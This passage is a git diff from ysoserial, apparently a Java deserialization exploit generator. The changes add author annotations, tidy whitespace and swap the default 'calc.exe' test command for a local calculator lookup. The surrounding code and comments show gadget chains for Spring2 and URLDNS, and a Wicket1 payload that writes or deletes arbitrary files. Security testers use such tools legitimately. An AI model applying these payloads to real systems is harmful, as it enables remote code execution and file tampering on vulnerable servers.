typeTemplatesProxy), + Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); - + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); Reflections.setFieldValue(mitp, "methodName", "newTransformer"); diff --git a/src/main/java/ysoserial/payloads/Spring2.java b/src/main/java/ysoserial/payloads/Spring2.java index 7defe53a..11a29072 100644 --- a/src/main/java/ysoserial/payloads/Spring2.java +++ b/src/main/java/ysoserial/payloads/Spring2.java @@ -11,6 +11,7 @@ import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.SingletonTargetSource; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; @@ -20,9 +21,9 @@ /** - * + * * Just a PoC to proof that the ObjectFactory stuff is not the real problem. - * + * * Gadget chain: * TemplatesImpl.newTransformer() * Method.invoke(Object, Object...) @@ -31,16 +32,17 @@ * $Proxy0.newTransformer() * Method.invoke(Object, Object...) * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) - * + * * @author mbechler */ +@PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies ( { - "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", // test deps "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" } ) -@PayloadTest ( precondition = "isApplicableJavaVersion") +@Authors({ Authors.MBECHLER }) public class Spring2 extends PayloadRunner implements ObjectPayload { public Object getObject ( final String command ) throws Exception { @@ -67,9 +69,8 @@ public Object getObject ( final String command ) throws Exception { public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Spring2.class, args); } - + public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } - } diff --git a/src/main/java/ysoserial/payloads/URLDNS.java b/src/main/java/ysoserial/payloads/URLDNS.java index cec8136b..5e88bb0f 100644 --- a/src/main/java/ysoserial/payloads/URLDNS.java +++ b/src/main/java/ysoserial/payloads/URLDNS.java @@ -7,6 +7,7 @@ import java.util.HashMap; import java.net.URL; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -16,18 +17,18 @@ * A blog post with more details about this gadget chain is at the url below: * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * - * This was inspired by Philippe Arteau @h3xstream, who wrote a blog - * posting describing how he modified the Java Commons Collections gadget - * in ysoserial to open a URL. This takes the same idea, but eliminates - * the dependency on Commons Collections and does a DNS lookup with just + * This was inspired by Philippe Arteau @h3xstream, who wrote a blog + * posting describing how he modified the Java Commons Collections gadget + * in ysoserial to open a URL. This takes the same idea, but eliminates + * the dependency on Commons Collections and does a DNS lookup with just * standard JDK classes. * - * The Java URL class has an interesting property on its equals and - * hashCode methods. The URL class will, as a side effect, do a DNS lookup + * The Java URL class has an interesting property on its equals and + * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode). - * + * * As part of deserialization, HashMap calls hashCode on each key that it - * deserializes, so using a Java URL object as a serialized key allows + * deserializes, so using a Java URL object as a serialized key allows * it to trigger a DNS lookup. * * Gadget Chain: @@ -35,11 +36,12 @@ * HashMap.putVal() * HashMap.hash() * URL.hashCode() - * + * * */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies() +@Authors({ Authors.GEBL }) public class URLDNS implements ObjectPayload { public Object getObject(final String url) throws Exception { diff --git a/src/main/java/ysoserial/payloads/Wicket1.java b/src/main/java/ysoserial/payloads/Wicket1.java index 4aa62c87..c0abf942 100644 --- a/src/main/java/ysoserial/payloads/Wicket1.java +++ b/src/main/java/ysoserial/payloads/Wicket1.java @@ -11,6 +11,7 @@ import org.apache.wicket.util.io.DeferredFileOutputStream; import org.apache.wicket.util.io.ThresholdingOutputStream; +import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -23,10 +24,10 @@ * means that if the target is running less than Oracle Java 7 update 40 * then the NULL byte attack is viable. Otherwise, copy and move attacks * always work. - * + * * This attack is valid for the 1.x and 6.x lines of Apache Wicket but * was fixed in 1.5.16 and 6.24.0 (released July 2016). - * + * * * Arguments: * - copyAndDelete;sourceFile;destDir @@ -34,17 +35,18 @@ * - writeB64;destDir;base64-data * - writeOld;destFile;ascii-data * - writeOldB64;destFile;base64-data - * + * * Example: * Wicket1 "write;/tmp;blue lobster" - * + * * Result: * $ ls -l /tmp/ * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp - * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp * blue lobster */ @Dependencies({"wicket-util:wicket-util:6.23"}) +@Authors({ Authors.JACOBAINES }) public class Wicket1 implements ReleaseableObjectPayload { public DiskFileItem getObject(String command) throws Exception { @@ -54,7 +56,7 @@ public DiskFileItem getObject(String command) throws Exception { if (parts.length != 3) { throw new IllegalArgumentException("Bad command format."); } - + if ("copyAndDelete".equals(parts[0])) { return copyAndDelete(parts[1], parts[2]); } @@ -73,7 +75,7 @@ else if ("writeOldB64".equals(parts[0]) ) { throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); } - public void release(DiskFileItem obj) throws Exception { + public void release(DiskFileItem obj) throws Exception { } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { @@ -108,4 +110,4 @@ private static DiskFileItem makePayload(int thresh, String repoPath, String file public static void main ( final String[] args ) throws Exception { PayloadRunner.run(FileUpload1.class, args); } -} \ No newline at end of file +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java new file mode 100644 index 00000000..20595b02 --- /dev/null +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -0,0 +1,33 @@ +package ysoserial.payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Authors { + String FROHOFF = "frohoff"; + String PWNTESTER = "pwntester"; + String CSCHNEIDER4711 = "cschneider4711"; + String MBECHLER = "mbechler"; + String JACKOFMOSTTRADES = "JackOfMostTrades"; + String MATTHIASKAISER = "matthias_kaiser"; + String GEBL = "gebl" ; + String JACOBAINES = "jacob-baines"; + + String[] value() default {}; + + public static class Utils { + public static String[] getAuthors(AnnotatedElement annotated) { + Authors authors = annotated.getAnnotation(Authors.class); + if (authors != null && authors.value() != null) { + return authors.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/src/main/java/ysoserial/payloads/annotation/Dependencies.java b/src/main/java/ysoserial/payloads/annotation/Dependencies.java index 7ac46165..3f18d141 100644 --- a/src/main/java/ysoserial/payloads/annotation/Dependencies.java +++ b/src/main/java/ysoserial/payloads/annotation/Dependencies.java @@ -20,5 +20,14 @@ public static String[] getDependencies(AnnotatedElement annotated) { return new String[0]; } } + + public static String[] getDependenciesSimple(AnnotatedElement annotated) { + String[] deps = getDependencies(annotated); + String[] simple = new String[deps.length]; + for (int i = 0; i < simple.length; i++) { + simple[i] = deps[i].split(":", 2)[1]; + } + return simple; + } } } diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index d9d67e1a..907453f5 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -1,5 +1,6 @@ package ysoserial.payloads.util; +import java.io.File; import java.util.concurrent.Callable; import ysoserial.Deserializer; @@ -15,11 +16,12 @@ */ @SuppressWarnings("unused") public class PayloadRunner { - public static void run(final Class> clazz, final String[] args) throws Exception { + + public static void run(final Class> clazz, final String[] args) throws Exception { // ensure payload generation doesn't throw an exception byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable(){ public byte[] call() throws Exception { - final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); System.out.println("generating payload object(s) for command: '" + command + "'"); @@ -41,4 +43,21 @@ public byte[] call() throws Exception { } + private static String getDefaultTestCmd() { + return getFirstExistingFile( + "C:\\Windows\\System32\\calc.exe", + "/Applications/Calculator.app/Contents/MacOS/Calculator", + "/usr/bin/gnome-calculator", + "/usr/bin/kcalc" + ); + } + + private static String getFirstExistingFile(String ... files) { + for (String path : files) { + if (new File(path).exists()) { + return path; + } + } + throw new UnsupportedOperationException("no known test executable"); + } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 46dcbce6..3ca28ab1 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -107,7 +107,7 @@ public static void testPayload ( final Class> payload if ( wrapper instanceof CustomPayloadArgs ) { payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); } - + if ( wrapper instanceof CustomDeserializer ) { customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); } @@ -210,9 +210,9 @@ static Object deserializeWithDependencies ( byte[] serialized, final String[] de } byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class); defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); - + if ( customDeserializer != null ) { - + try { Method method = customDeserializer.getMethod("getExtraDependencies"); for ( Class extra : (Class[])method.invoke(null)) { @@ -220,11 +220,11 @@ static Object deserializeWithDependencies ( byte[] serialized, final String[] de defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); } } catch ( NoSuchMethodException e ) { } - + deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer); defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); } - + } };